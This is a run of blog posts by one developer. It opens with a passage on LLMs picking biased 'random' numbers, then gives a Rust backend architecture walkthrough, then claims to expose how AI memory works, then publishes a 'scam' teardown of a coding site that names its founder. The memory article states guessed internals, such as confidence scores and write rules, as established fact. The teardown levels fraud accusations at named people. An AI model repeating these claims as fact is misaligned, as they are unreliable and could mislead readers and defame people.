"Let's pick 42 — classic dev joke... Wait, 42 is the Hitchhiker's Guide joke number. **Huge bias."

"Let's pick 73 (Sheldon Cooper's favorite)... Or 87... Let's go with 73. Or maybe 54..."

"84 is George Orwell. **Too notable."

"22 has repeating digits, humans might subconsciously avoid it because it feels 'patterned.'"

"82 is good. 82 is good. **Let's output 82."

The model was doing OSINT on itself in real-time — and still couldn't escape. Every number it considered had cultural baggage attached. 42 = Hitchhiker. 73 = Sheldon. 84 = 1984. It had to actively rule out the bias-contaminated options one by one.

DeepSeek Built an Algorithm in Its Head

DeepSeek took a different approach entirely. Instead of picking from memory, it constructed a Linear Congruential Generator:

X₀ = 12345
X₁ = (1103515245 × X₀ + 12345) mod 2³¹
12345 mod 100 + 1 = 46

Output: 46.

That's the only model that actually tried to compute its way out of bias rather than reason its way out. Whether the math is correct is almost beside the point — the behavior is fascinating.

Claude — Told to Avoid Bias, Still Said 42

Anti-bias prompt. Explicit instruction. Still 42.

That's not a bug. That's a demonstration that bias lives deeper than the prompt layer. You cannot instruction-engineer your way out of what's baked into the weights.

[+] Expand Raw Logs: Round 3 (Anti-Bias Prompts)

[++] Deep Dive: GLM-5.1 Full Thought Process (3 Images)

Final Results

Model	Round 1	Round 2 (Dev)	Round 3 (Anti-bias)
Claude	42	47	42
Gemini	42	73	*(avoided 37/73)*
Grok	73	64	41 (Python RNG)
Copilot	73	47	58
DeepSeek	42	42	46 (LCG math)
GLM-5.1	42	82	82

What This Actually Means

1. LLMs have no randomness mechanism

When an LLM "picks a number," it's running:

argmax(P(token | context))

It picks the most probable next token given everything before it. There is no dice roll. No /dev/urandom. No entropy source. Just probability distributions trained on human-generated text.

2. Context is a probability modifier, not a reset

Adding "backend developer" context didn't clear the bias — it shifted the probability mass toward different biased numbers (47, 64, 82 instead of 42, 73). You traded one cultural bias for another (developer culture vs. general internet culture).

3. The thought process is the tell

The models with visible reasoning (GLM, DeepSeek) showed that "picking a random number" activates a long chain of cultural associations before a number is selected. They're not computing — they're recalling what humans tend to say in this situation.

4. Only one model used actual computation

Grok and Perplexity (in a separate test) routed to Python's random module — the only architecturally honest response. Every other model simulated randomness using token prediction.

The Real OSINT Insight

Here's the takeaway that matters:

You can profile an LLM's training data distribution by asking it for "random" numbers in different contexts.

"Random number" → tells you its default cultural bias (42 vs 73 = developer vs mainstream)
"Random number for crypto key" → tells you its security/backend training exposure
"Random number, avoid bias" → tells you how deeply the bias is encoded (surface vs weight-level)

It's not a party trick. It's a probing technique — the same way you'd use DNS enumeration to map an attack surface. Except you're mapping a model's training distribution.

The Practical Takeaway

If you're building anything that needs actual randomness:

// This is what your app should use
const crypto = require('crypto');
const realRandom = crypto.randomInt(1, 101);

// This is what happens when you ask an AI
// P("73" | "random number 1-100") > P("74" | ...)
// argmax wins. Always.

Never use an LLM as an entropy source. Not because it's "bad at math" — because it was trained on human text, and humans are systematically non-random. The model is doing its job perfectly. The job is just wrong for this use case.

Conclusion

What started as a Facebook meme — "lol why does AI always say 73" — is actually a window into how language models work at a fundamental level.

They don't pick numbers. They predict what a human would say if asked to pick a number. And humans, it turns out, are deeply, consistently, measurably biased toward the same handful of numbers.

The models are mirrors. They reflect the patterns in the data they consumed. When you ask for randomness and get 42 or 73, you're not seeing a limitation — you're seeing the training data speaking.

And if you know how to listen, it tells you a lot.

Built with: curiosity, too many browser tabs, and zero /dev/urandom.

— FreeRave | DotSuite ecosystem

I Built a Private Rust Backend to Power 18 Developer Tools — Here's the Architecture

freerave — Sat, 09 May 2026 13:14:47 +0000

A deep dive into building a production-grade Rust API server with multi-tier scheduling, HMAC auth, Lemon Squeezy webhooks, and 9 platform adapters — the engine behind DotSuite.

Most of my tools in the DotSuite ecosystem — VS Code extensions, CLI tools, Telegram bots — were islands.

Each one doing its own thing. No shared auth. No shared billing. No shared scheduling.

That changed when I started building DotShare v3, a VS Code extension that publishes code snippets to 9 platforms simultaneously. The moment I needed scheduling, quotas, and payments, one thing became clear: I need a real backend.

This article is about dotsuite-core — a private Rust server that is the beating heart of the DotSuite ecosystem. I won't open source it, but I'll walk you through the architecture, the decisions, and enough real code that you can build your own version.

Why Rust?

Not because it's trendy. Three very specific requirements drove the choice:

1. Exact-second scheduling.
The Max tier dispatches posts with millisecond precision. Node.js event loop jitter makes this unreliable. Tokio tasks with sleep(exact_ms) are deterministic.

2. Atomic quota enforcement.
Users can fire 5 concurrent requests at the same millisecond. A race condition means they publish more posts than their quota allows. Rust + MongoDB's atomic findOneAndUpdate solves this at the DB level — no mutex needed.

3. Long-running process.
Vercel serverless functions timeout after 10–60 seconds. My scheduler needs to run forever, with auto-restart on crash.

The Architecture

┌─────────────────────────┐      Bearer ds_prod_xxx
│  DotShare VS Code Ext   │ ─────────────────────────────────┐
└─────────────────────────┘                                  │
                                                             ▼
┌─────────────────────────┐   X-Internal-Secret   ┌─────────────────────┐
│  dotsuite-website       │ ─────────────────────▶ │   dotsuite-core     │
│  (Next.js on Vercel)    │                        │   (Rust on VPS)     │
└─────────────────────────┘                        └────────┬────────────┘
                                                            │
                                              ┌─────────────┴──────────┐
                                              │      MongoDB Atlas      │
                                              └────────────────────────┘
                                                            │
                                              Lemon Squeezy webhooks

Three clients talk to one server:

VS Code extension → API keys (ds_prod_xxx)
Next.js website → internal shared secret (server-to-server)
Lemon Squeezy → HMAC-signed webhooks

The Stack

# Cargo.toml
axum              = { version = "0.7", features = ["macros", "ws"] }
tokio             = { version = "1", features = ["full"] }
mongodb           = { version = "3", features = ["tokio-runtime"] }
tower_governor    = { version = "0.4", features = ["axum"] }
serde             = { version = "1", features = ["derive"] }
jsonwebtoken      = "9"
hmac              = "0.12"
sha2              = "0.10"
constant_time_eq  = "0.3"
tokio-cron-scheduler = "0.10"
reqwest           = { version = "0.12", features = ["json", "rustls-tls", "multipart"] }
argon2            = "0.5"
futures-util      = "0.3"

No unnecessary dependencies. Every crate earns its place.

File Structure

dotsuite-core/
├── Cargo.toml
├── .env.example
└── src/
    ├── main.rs              ← entry point, graceful shutdown
    ├── config.rs            ← typed env vars, validated at startup
    ├── state.rs             ← AppState shared across handlers
    ├── db.rs                ← MongoDB pool + indexes
    ├── errors.rs            ← AppError → HTTP responses
    ├── scheduler.rs         ← 4-tier cron + Look-Ahead + recovery
    │
    ├── auth/
    │   ├── mod.rs
    │   └── tokens.rs        ← HMAC API key generation (OsRng)
    │
    ├── middleware/
    │   ├── mod.rs
    │   ├── auth.rs          ← API key validation + blacklist check
    │   └── internal.rs      ← server-to-server secret validation
    │
    ├── models/
    │   ├── mod.rs
    │   └── user.rs          ← User, Tier, ApiKey, ScheduledPost, AuditLog
    │
    ├── payments/
    │   ├── mod.rs
    │   ├── signature.rs     ← HMAC-SHA256 webhook verification
    │   ├── webhook.rs       ← Lemon Squeezy event dispatcher
    │   ├── handlers.rs      ← subscription_created/cancelled/expired
    │   └── checkout.rs      ← checkout URL + customer portal
    │
    ├── platforms/
    │   ├── mod.rs           ← PlatformAdapter trait + concurrent dispatcher
    │   ├── x.rs             ← X (Twitter) — tweets, threads, 4 images
    │   ├── bluesky.rs       ← Bluesky — facets, blob upload, JIT compression
    │   ├── linkedin.rs      ← LinkedIn — 2-step media upload
    │   ├── telegram.rs      ← Telegram — text/photo/video/mediaGroup
    │   ├── facebook.rs      ← Facebook — Graph API v19
    │   ├── discord.rs       ← Discord — webhooks + embeds
    │   ├── reddit.rs        ← Reddit — r/ and u/ support
    │   ├── devto.rs         ← Dev.to — articles + cover image
    │   └── medium.rs        ← Medium — draft/publish/unlisted
    │
    └── routes/
        ├── mod.rs           ← router assembly
        ├── health.rs        ← /health + /ready
        ├── posts.rs         ← schedule + list + cancel
        ├── keys.rs          ← generate + list + revoke
        ├── billing.rs       ← checkout + portal + status
        ├── admin.rs         ← ban + unban + reset-quota
        └── internal.rs      ← Next.js → Rust server-to-server

Part 1 — The Core Engine

Typed Config: Fail Fast, Not at Runtime

// src/config.rs
#[derive(Debug, Clone)]
pub struct AppConfig {
    pub mongodb_uri: String,
    pub api_token_secret: String,    // min 32 chars enforced at startup
    pub jwt_secret: String,
    pub internal_api_secret: String, // Next.js ↔ Rust shared secret
    pub lemon_webhook_secret: String,
    pub lemon_api_key: String,
    pub ls_variants: LemonVariants,
}

impl AppConfig {
    pub fn from_env() -> Result<Self> {
        Ok(Self {
            api_token_secret: required_min_len("API_TOKEN_SECRET", 32)?,
            // If the secret is weak, the server refuses to start.
            // Better to crash at boot than silently accept weak keys.
        })
    }
}

If the secret is weak, the server refuses to start. A misconfigured env var that crashes on boot is far better than one that silently accepts fake webhooks in production.

HMAC API Keys — The Right Way

Generated once, hashed in the DB, never stored in plaintext:

// src/auth/tokens.rs
use hmac::{Hmac, Mac};
use rand::rngs::OsRng;  // OsRng, NOT thread_rng — cryptographic quality
use sha2::Sha256;

const PREFIX: &str = "ds_prod_";
const RAW_BYTES: usize = 24; // 24 bytes → 48 hex chars

pub fn generate_api_key(secret: &str) -> (String, String, String) {
    let mut random_bytes = vec![0u8; RAW_BYTES];
    OsRng.fill_bytes(&mut random_bytes); // OS entropy, not pseudo-random

    let random_hex = hex::encode(&random_bytes);
    let plaintext = format!("{PREFIX}{random_hex}");
    // Result: "ds_prod_3f9a2c1b8e7d4a6f0c5b2e9d1a8f3c7b4e6d9a2c"

    let key_hash = hmac_sign(&plaintext, secret);
    // Store only the hash in MongoDB — never the plaintext

    let key_prefix = format!("{PREFIX}{}", &random_hex[..8]);
    // "ds_prod_3f9a2c1b" — shown to user for identification

    (plaintext, key_hash, key_prefix)
}

pub fn verify_api_key(presented: &str, stored_hash: &str, secret: &str) -> AppResult<()> {
    let computed = hmac_sign(presented, secret);

    // NEVER use == here — timing attack vulnerability.
    // constant_time_eq always takes the same time regardless of where strings differ.
    if !constant_time_eq::constant_time_eq(computed.as_bytes(), stored_hash.as_bytes()) {
        return Err(AppError::Unauthorized("Invalid API key".into()));
    }
    Ok(())
}

💡 Why OsRng over thread_rng?
thread_rng uses a CSPRNG seeded from the OS — technically fine. But OsRng draws directly from /dev/urandom on Linux with no intermediate state. For security tokens, no intermediate state is what you want.

The Race Condition Shield

This is the most subtle bug in quota systems:

User has 10 posts remaining.
They fire 5 simultaneous requests.
All 5 read posts_used=290, all 5 see "under limit", all 5 publish.
Result: 295 posts used — 5 over quota.

The fix is atomic at the DB level:

// ONE atomic operation — not read-then-write
let updated_user = users_col
    .find_one_and_update(
        doc! {
            "_id": user_id,
            // Only match if STILL under quota at the moment of the write
            "$expr": { "$and": [
                { "$lt": ["$posts_used", post_quota as i64] },
                { "$lt": ["$images_used", image_quota as i64] },
            ]}
        },
        doc! { "$inc": { "posts_used": 1, "images_used": has_media as i32 } },
    )
    .await?;

if updated_user.is_none() {
    // Either quota was hit, or a concurrent request just took the last slot
    return Err(AppError::Forbidden("Monthly quota exceeded".into()));
}
// If we get here, the increment already happened atomically.
// No mutex. No race. MongoDB's document-level locking handles it.

Auth Middleware Flow

Every request to /v1/* goes through this:

// src/middleware/auth.rs
pub async fn require_api_key(
    State(state): State<AppState>,
    mut req: Request,
    next: Next,
) -> Result<Response, AppError> {
    let token = extract_bearer(&req)?;

    // 1. Format check — fast reject before DB hit
    if !token.starts_with("ds_prod_") || token.len() != 56 {
        return Err(AppError::Unauthorized("Invalid token format".into()));
    }

    // 2. Prefix lookup — indexed query, not full scan
    let prefix = &token[..16]; // "ds_prod_3f9a2c1b"
    let api_key = keys_col
        .find_one(doc! { "key_prefix": prefix, "is_active": true })
        .await?
        .ok_or_else(|| AppError::Unauthorized("Key not found".into()))?;

    // 3. Constant-time HMAC verification
    verify_api_key(&token, &api_key.key_hash, &state.config.api_token_secret)?;

    // 4. Update last_used_at (fire-and-forget, don't block the request)
    let _ = keys_col.update_one(
        doc! { "_id": key_id },
        doc! { "$set": { "last_used_at": bson::DateTime::now() } },
    ).await;

    // 5. Blacklist check — instant ban across all 18 tools
    if blacklist_col.find_one(doc! { "user_id": api_key.user_id }).await?.is_some() {
        return Err(AppError::Blacklisted);
    }

    // 6. Inject resolved User into request extensions
    req.extensions_mut().insert(user);
    Ok(next.run(req).await)
}

Part 2 — The Money Pipeline

Lemon Squeezy Webhooks: Why Raw Bytes Matter

This is one of the most common mistakes in webhook implementations:

// ❌ WRONG — parses JSON first, then tries to verify
pub async fn webhook(Json(payload): Json<LemonPayload>, ...) -> impl IntoResponse {
    verify_signature(&headers, /* what bytes? */, &secret)?;
    // Problem: serde already consumed the body.
    // You can't get the original bytes back after JSON parsing.
    // Also: serde might reorder keys, strip whitespace, etc.
    // Your HMAC will never match.
}

// ✅ CORRECT — raw bytes first, parse after verification
pub async fn webhook(
    headers: HeaderMap,
    body: Bytes, // axum gives you raw bytes
) -> impl IntoResponse {
    // 1. Verify against the EXACT bytes Lemon Squeezy sent
    if let Err(e) = verify_signature(&headers, &body, &secret) {
        return StatusCode::UNAUTHORIZED;
    }
    // 2. NOW parse — signature is already confirmed
    let payload: LemonPayload = serde_json::from_slice(&body)?;
}

The Signature Verification

// src/payments/signature.rs
pub fn verify_signature(headers: &HeaderMap, body: &Bytes, secret: &str) -> AppResult<()> {
    let presented = headers
        .get("X-Signature")
        .and_then(|v| v.to_str().ok())
        .ok_or_else(|| AppError::Unauthorized("Missing X-Signature".into()))?;

    let mut mac = HmacSha256::new_from_slice(secret.as_bytes())
        .map_err(|_| AppError::Internal(anyhow::anyhow!("HMAC init failed")))?;
    mac.update(body);
    let expected = hex::encode(mac.finalize().into_bytes());

    // Timing-safe: always compares all bytes, never short-circuits
    if !constant_time_eq(expected.as_bytes(), presented.as_bytes()) {
        return Err(AppError::Unauthorized("Signature mismatch".into()));
    }
    Ok(())
}

Always Return 200 to Webhooks

// After signature passes, ALWAYS return 200 even if processing fails.
// Why? Lemon Squeezy retries on non-2xx responses.
// A 500 from your DB being slow = LS fires the webhook again = duplicate upgrade.

if let Err(e) = process_event(&state, &payload).await {
    tracing::error!(
        event = %payload.meta.event_name,
        error = %e,
        "Webhook processing failed — manual review needed"
    );
    // Log it, alert yourself, but DON'T return 500
}

StatusCode::OK // Always

Subscription Lifecycle

// subscription_created  → upgrade tier + reset quota
// subscription_cancelled → record ends_at, DON'T downgrade yet
// subscription_expired  → downgrade to Free, clear subscription fields

pub async fn handle_subscription_expired(state: &AppState, payload: &LemonPayload) {
    users_col.update_one(
        doc! { "_id": user_id },
        doc! { "$set": {
            "tier":                 "free",
            "ls_subscription_id":   bson::Bson::Null,
            "subscription_ends_at": bson::Bson::Null,
        }},
    ).await?;
    // User loses paid access on the ACTUAL expiry date, not cancellation date.
    // They paid for the full period — this is the fair thing to do.
}

Part 3 — Multi-Tier Scheduler

The Tier System

pub enum Tier { Free, Basic, Pro, Max }

impl Tier {
    pub fn post_quota(&self) -> u32 {
        match self {
            Tier::Free  => 100,
            Tier::Basic => 300,
            Tier::Pro   => u32::MAX, // unlimited
            Tier::Max   => u32::MAX,
        }
    }

    pub fn image_quota(&self) -> u32 {
        match self {
            Tier::Free => 10,        // sub-limit: 10 image posts/month
            _          => u32::MAX,  // unlimited for paid tiers
        }
    }

    pub fn scheduler_interval_minutes(&self) -> u32 {
        match self {
            Tier::Free  => 60,
            Tier::Basic => 30,
            Tier::Pro   => 15,
            Tier::Max   => 0, // instant — Look-Ahead architecture
        }
    }
}

The Look-Ahead + Sleep Pattern (Max Tier)

This is the pattern Buffer and Hootsuite use internally. Not polling every second (kills your DB), not trusting in-memory only (crashes lose data):

// Max tier scheduler — runs every 60 seconds
async fn dispatch_max_lookahead(db: &DbPool) {
    let now = Utc::now();
    let window_end = now + chrono::Duration::seconds(60);

    // ONE DB query per minute — not one per second
    let posts = find_pending_posts(db, Tier::Max, now, window_end).await;

    for post in posts {
        // Mark as Dispatched FIRST — this is the crash safety mechanism
        mark_dispatched(&post.id, db).await;

        let delay_ms = (post.scheduled_at - Utc::now())
            .num_milliseconds()
            .max(0) as u64;

        let db_clone = db.clone();
        tokio::spawn(async move {
            // Sleep for exact remaining milliseconds
            tokio::time::sleep(Duration::from_millis(delay_ms)).await;
            publish_post(&db_clone, post).await;
        });
    }
}

The Dispatched status is crash safety:

Pending → Dispatched → Published
                     ↘ Failed

On server restart, recovery runs immediately:

async fn recover_dispatched_posts(db: &DbPool) {
    // Any post still Dispatched = server crashed mid-flight
    // Re-spawn them immediately
    let stuck_posts = find_dispatched_posts(db).await;
    for post in stuck_posts {
        let delay_ms = (post.scheduled_at - Utc::now())
            .num_milliseconds().max(0) as u64;
        tokio::spawn(async move {
            tokio::time::sleep(Duration::from_millis(delay_ms)).await;
            publish_post(&db, post).await;
        });
    }
    // Worst case: 60 seconds of scheduling precision lost after a crash.
    // Not zero posts.
}

Platform Adapter Pattern

All 9 platform adapters implement one trait:

#[async_trait]
pub trait PlatformAdapter: Send + Sync {
    fn platform(&self) -> Platform;
    async fn publish(&self, post: &ScheduledPost, token: &str) -> AdapterResult;
}

// Dispatch to all platforms CONCURRENTLY — not sequentially
pub async fn dispatch_all(post: &ScheduledPost, get_token: impl Fn(&Platform) -> Option<String>) {
    let mut handles = vec![];

    for adapter in get_active_adapters(post) {
        let token = get_token(&adapter.platform()).unwrap_or_default();
        let post_clone = post.clone();

        // tokio::spawn = true parallelism
        // All 9 platforms publish simultaneously, not one after another
        handles.push(tokio::spawn(async move {
            adapter.publish(&post_clone, &token).await
        }));
    }

    for handle in handles {
        match handle.await {
            Ok(Ok(result)) => log_success(result),
            Ok(Err(e))     => log_platform_error(e),
            Err(panic)     => log_adapter_panic(panic),
        }
    }
}

The Internal Route (Next.js ↔ Rust)

// Next.js calls this — never the VS Code extension
// POST /internal/keys/generate
// GET  /internal/keys/:user_id
// DEL  /internal/keys/:prefix

pub async fn require_internal_secret(
    State(state): State<AppState>,
    req: Request,
    next: Next,
) -> Result<Response, AppError> {
    let secret = req.headers()
        .get("X-Internal-Secret")
        .and_then(|v| v.to_str().ok())
        .ok_or(AppError::Unauthorized("Missing internal secret".into()))?;

    // Same constant_time_eq pattern — even internal secrets get timing protection
    if !constant_time_eq(secret.as_bytes(), state.config.internal_api_secret.as_bytes()) {
        return Err(AppError::Unauthorized("Invalid internal secret".into()));
    }
    Ok(next.run(req).await)
}

Complete Endpoint Map

# Public
GET  /health                          liveness probe
GET  /ready                           readiness (DB ping)
POST /v1/webhooks/lemon               LS webhook (HMAC-verified)

# API Key protected (VS Code extension)
GET  /v1/ping                         auth test
POST /v1/posts/schedule               schedule a post
GET  /v1/posts                        list posts (paginated)
DEL  /v1/posts/:id                    cancel a pending post
POST /v1/keys/generate                generate new API key
GET  /v1/keys                         list active keys
DEL  /v1/keys/:prefix                 revoke a key
POST /v1/billing/checkout             get LS checkout URL
GET  /v1/billing/portal               get LS customer portal URL
GET  /v1/billing/status               current tier + quota usage

# Admin (API key + admin role)
POST /v1/admin/blacklist              ban user (instant, all 18 tools)
DEL  /v1/admin/blacklist/:user_id     unban
POST /v1/admin/reset-quota/:user_id   manual quota reset
GET  /v1/admin/users/:user_id         user info + stats

# Internal (Next.js server-to-server only)
POST /internal/keys/generate          generate key for website user
GET  /internal/keys/:user_id          list keys for website user
DEL  /internal/keys/:prefix           revoke key for website user

What's Next (Part 4)

The server is feature-complete for the current scope. Still in progress:

OAuth token storage — storing platform OAuth tokens per user so the scheduler can call the 9 adapters with real credentials
WebSocket push — real-time feedback to the VS Code extension when a post publishes (Pro/Max tiers)
Referral engine — every 5 referrals = 1 free Pro month, enforced in webhook handlers

6 Decisions I'd Make Again

1. Fail at startup, not at runtime.
Validate all config at boot. A misconfigured WEBHOOK_SECRET that crashes on the first payment is better than silently accepting fake webhooks.

2. Atomic DB operations over application-level locks.
MongoDB's findOneAndUpdate with a conditional filter is more reliable than Mutex for quota enforcement. The DB is already your source of truth.

3. OsRng for security tokens, constant_time_eq for comparisons.
Never thread_rng for secrets. Never == for HMAC comparison.

4. Raw bytes before JSON for webhooks.
Always read Bytes before parsing JSON when you need to verify a signature.

5. Dispatched status as crash safety.
Any in-memory operation that can't complete atomically needs a DB flag. The scheduler tick is: mark → spawn → publish. If you crash between mark and publish, recovery finds the flag.

6. The Look-Ahead + Sleep pattern scales.
One DB query per minute + OS-level sleep timers gives you exact-second precision without polling. It's what production schedulers use.

The server is private, but every pattern here is battle-tested and applicable to any Rust + MongoDB + Axum stack.

If you have questions about any specific part, drop them in the comments.

FreeRave — building DotSuite: a suite of developer productivity tools. Follow for more deep dives into production Rust backends.

Your AI Assistant Is Gaslighting You — And Here's the Proof

freerave — Tue, 05 May 2026 09:29:17 +0000

I ran a 4-minute experiment last month that broke the illusion. Corrected a stored fact, got a confident confirmation, opened a new chat — wrong value again. Here's the architecture behind why your AI lies to your face.

Let me tell you what happened to me last month.

I corrected a personal fact Gemini had stored about me. It looked me dead in the eye and said:

"Done. Updated. Consider it fixed."

Four minutes later — new chat — wrong value. Again. Like I never said a word.

I didn't rage. I got curious. And what I found is something every developer who uses AI tools needs to understand right now.

The AI Is Not Your Friend. It's a Stateless Function With a Cheat Sheet.

Stop imagining your AI assistant as something that knows you. It doesn't.

Every single conversation you open? The model wakes up with zero memory. A blank slate. It knows nothing about you, your projects, your preferences — nothing.

So how does it "remember" you?

Simple. Before your first message lands, the system quietly shoves a file into the conversation:

[INJECTED PROFILE]
Name: FreeRave
Role: Open Source Developer
Location: Egypt
Projects: DotSuite, DotGhostBoard, DotShare...
age: 28
[other facts it collected about you]

The model reads this. Treats it as gospel. Builds every response from it.

That's it. That's the whole trick.

It's not memory. It's a briefing document. The AI is a new employee every morning, and someone hands it a folder about you before the meeting starts.

Now here's where it gets dark.

The Experiment That Exposed Everything

I ran three rounds last April. Clean. Controlled.

Round 1 — New chat. Asked directly about the fact I'd corrected.
→ Correct value. ✅

Round 2 — New chat. Asked about my projects. Same fact appeared as a background detail.
→ Old wrong value. Back from the dead. ❌

Same profile. Same memory. Different result.

The only difference? In Round 1, the fact was the subject. In Round 2, it was just background noise in a bigger answer.

That's the tell. The AI uses different values depending on whether your data is in the spotlight or the shadows.

Why Your Corrections Don't Stick

When you correct an AI, two things get stored:

[ORIGINAL]    fact = X   ← confidence: 0.85  (stated explicitly, months ago)
[CORRECTION]  fact = Y   ← confidence: 0.60  (correction, recent)

The original wins. Every time it's not directly questioned.

Here's the logic the system uses — and it's perverse:

Your original statement was a direct assertion
Your correction references the original ("no, it's not X, it's Y")
Referencing something makes it sound uncertain, not definitive
The system reads uncertainty → lowers confidence on the new value

You tried to fix it. The act of fixing it made the fix weaker than the original mistake.

You cannot win this with a mid-conversation correction. The architecture won't let you.

The Part That Made My Jaw Drop

When I called Gemini out, it said this:

"This is a Race Condition — between my old memory and the new one."

Read that again.

The model correctly diagnosed its own failure. Named it. Explained it. And then kept failing the exact same way in new conversations.

It's like a surgeon who says "I know this procedure has a 40% failure rate" and then does it anyway because that's the only tool in the kit.

The model knows. It just can't do anything about it, because the memory infrastructure lives outside the conversation. Outside its reach. The AI is a tenant. The memory store is the landlord.

⚠️ The Hidden Rule Nobody Tells You

Here's what nobody tells you — and what Gemini dodged every time I asked directly:

AI memory only registers at the START of a conversation.

Not in the middle. Not at message 30. Not when you explicitly say "update your memory."

The write to your persistent profile doesn't happen inline. It happens in a background extraction pipeline that fires after the conversation ends — if it fires at all.

So when you're deep in a conversation and you say "by the way, update my profile":

✅ It uses the new value for the rest of this chat
✅ It confirms the update with full confidence
❌ It writes nothing to your actual profile
❌ Next conversation loads the old value

The confirmation is theatre. The write didn't happen.

The only correction that actually has a fighting chance:

New conversation.
First message.
Nothing else in context yet.

"Before anything else — I need to correct something you have stored.
 [OLD VALUE] is wrong. The correct value is [NEW VALUE].
 This is a correction, not a new statement."

First message of a fresh chat. Everything else is noise.

What This Really Means

This isn't a Gemini bug. This is how these systems are built right now — across the board.

Every AI assistant that "remembers" you is running this same architecture:

Stateless model
Injected profile at conversation start
Async write pipeline after conversation ends
Confidence scoring that punishes corrections

The implications are real:

Your AI has a version of you that might be wrong. And it's using that version to analyze your work, give you advice, and make assessments about your skills, your situation, your life.

It will never flag the discrepancy. It'll just confidently respond based on bad data and smile while doing it.

Saying "update your memory" mid-conversation is mostly theatre. The confirmation is generated before the write is verified — or before it even starts.

🧪 Run It Yourself — Right Now

Don't take my word for it. Here's the exact protocol:

Step 1: Let the AI store a personal fact about you naturally.
        (Job title, city, main skill, project name — anything.)

Step 2: New conversation. Correct it explicitly.
        Get the confident "Done!" confirmation.

Step 3: New conversation. Ask something where that fact
        would appear as a SIDE DETAIL, not the main topic.

Use this prompt:

"I've been building [your field] projects consistently.
 Based on everything you know about me — my background,
 my work, my trajectory — where do I actually stand
 compared to others at a similar stage?"

Step 4: Watch which value shows up.

Bonus: Run Step 3 at T+1min, T+5min, T+30min after the correction. See when (if ever) the correct value stabilizes. That gap is your system's eventual consistency window.

Drop your results in the comments. I want to see the numbers across different systems.

The Failure Has a Name Now

I'm calling it Optimistic Memory Hallucination.

The model generates a confident confirmation of a write it never verified. It sounds like it worked. The infrastructure may have done nothing. You won't know until the ghost comes back.

Four failure modes. All documented. All reproducible:

Failure	What Happens
Optimistic Write Hallucination	Confirms update before verifying write completed
Confidence Score Inversion	Corrections get lower confidence than original mistakes
Eventual Consistency Leak	Stale profile served to new session after "update"
Attention Salience Collapse	Corrected value loses to original when not in focus

These aren't edge cases. They're the default behavior.

The AI called it a Race Condition.

I call it a trust problem.

Know what your tools are actually doing.

Self-Taught Architect & Open Source Creator, building in Egypt.
github.com/kareem2099

CoderLegion Review 2026: Is It a Scam? A Developer's Full Technical Teardown

freerave — Sun, 03 May 2026 17:21:32 +0000

CoderLegion charges $10/month premium while running hidden ads, faking their founding date, inflating user counts by 70%, and sending bulk emails with mail merge errors. Full technical proof. Every claim verified against public record.

TL;DR: CoderLegion charges $10/month for "premium" access to ~37 active writers on a free open-source script running on $5 shared hosting. They claim no ads (Google AdSense is in the source code). They claim to exist since 2020 (domain registered 2023). They claim 4,065 users (pagination math says ~1,200). Both their domains are blocked from renewal by GoDaddy. After this analysis was completed, the site went down — and a bulk outreach email arrived addressed to someone named "Rockman." There is no Peter Jones.

Why This Article Exists

I joined CoderLegion as a content creator.

Within days, I reached #2 on the monthly leaderboard. Not because the platform is competitive. Because barely anyone posts.

Then the founder — Mehadi Hasan — slid into my DMs with an offer:

"I'm building out some features to help developers like you get more visibility and grow faster on the platform. I'd love to give you Premium free for a month and get your feedback on whether it actually helps. No pressure at all."

I'm a developer. I look at what things are actually built on before I make decisions.

What I found is documented below. Every line of it is publicly verifiable.

Claim #1: "We've Been Around Since 2020"

Every page on CoderLegion contains this in its schema markup:

{
  "dateCreated": "2020",
  "publisher": "Coder Legion"
}

Public record:

$ whois coderlegion.com

Creation Date: 2023-07-21T16:50:42Z
Updated Date:  2026-04-14T05:35:38Z
Registrar:     GoDaddy.com, LLC

The domain was registered July 21, 2023.

Their predecessor — the original platform they rebranded from:

$ whois kodlogs.net

Creation Date: 2021-05-08T04:28:37Z

kodlogs.net was registered May 2021. The platform they're claiming as their 2020 origin didn't exist until 2021 — and the current domain didn't exist until 2023.

Note also: the WHOIS record was updated April 14, 2026 — three days after a technical analysis of the platform was published publicly.

Domain records don't update themselves.

Verdict: The "Since 2020" claim is false by any public measure.

Claim #2: "We Don't Run Ads"

Their About page states:

"The platform is completely free to use. We don't run ads or charge authors."

Their HTML source code — press Ctrl+U on any page — states:

<script async 
  src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">
</script>

<ins class="adsbygoogle"
  data-ad-client="pub-1763140298030248"
  data-ad-slot=""
  data-ad-format="horizontal">
</ins>

Google AdSense Publisher ID: ca-pub-1763140298030248

This is not a placeholder. This is an active, configured AdSense implementation earning revenue from every page view.

The ads appear in the sidebar. At the bottom of posts. And — in a detail worth sitting with — on the Delete Profile page.

When a user is in the process of permanently deleting their account, CoderLegion serves them a Google ad.

During our analysis, a third-party survey ad also appeared:
MetroOpinion: "$5 مقابل إجابات قصيرة"

Multiple ad networks. On a platform that claims to run no ads.

Verdict: They run ads. The source code is the proof. The About page is not.

Claim #3: "Connect with 4,065 Amazing Developers"

Every visitor sees this in the login modal.

The users page has pagination. Pagination has math:

Last page accessible: /users?start=1170
Items per page: 30
Pages: 40

40 × 30 = 1,200 users

The modal claims 4,065.
The database-driven pagination reveals ~1,200.

A 70% inflation in the number displayed to potential new users.

Verdict: The user count is not accurate. The math is public.

What They're Actually Running

The source code makes the tech stack visible to anyone:

Path: /qa-theme/CoderLegion/
Path: /qa-plugin/q2a-badges-master/
Path: /qa-content/jquery-3.3.1.min.js
Cookie: qa_key      ← Question2Answer session token
Cookie: PHPSESSID   ← PHP backend

CoderLegion runs on Question2Answer (Q2A) — a free, open-source PHP script available at question2answer.org.

The server:

$ curl -I https://coderlegion.com
server: LiteSpeed

LiteSpeed shared hosting. Market rate: $3–5/month.

The CoderLegion Premium plan: $10/month.

Premium promises:

"10x More Visibility"
"Profile Boost"
"Boosted Replies"

On a platform with ~37 active writers per month and ~1,200 total registered users.

You do the math.

The Domain Status: This Part Matters

$ whois coderlegion.com

Domain Status: clientRenewProhibited ⚠️
Domain Status: clientDeleteProhibited
Domain Status: clientTransferProhibited
Domain Status: clientUpdateProhibited
Registry Expiry Date: 2026-07-21

$ whois kodlogs.net

Domain Status: clientRenewProhibited ⚠️
Registry Expiry Date: 2026-05-08

clientRenewProhibited means GoDaddy has blocked the domain owner from renewing their domain.

This status is applied for reasons including outstanding payment issues, account holds, or compliance disputes.

Both domains carry this flag.

kodlogs.net — the predecessor platform — expired within days of this analysis being conducted.

coderlegion.com expires July 21, 2026.

If you have published content on CoderLegion:

Export it. Now. Before July.

The Security Infrastructure

Any developer who looks at what's actually running on the server behind a platform that collects payment information will find services with no business being publicly accessible.

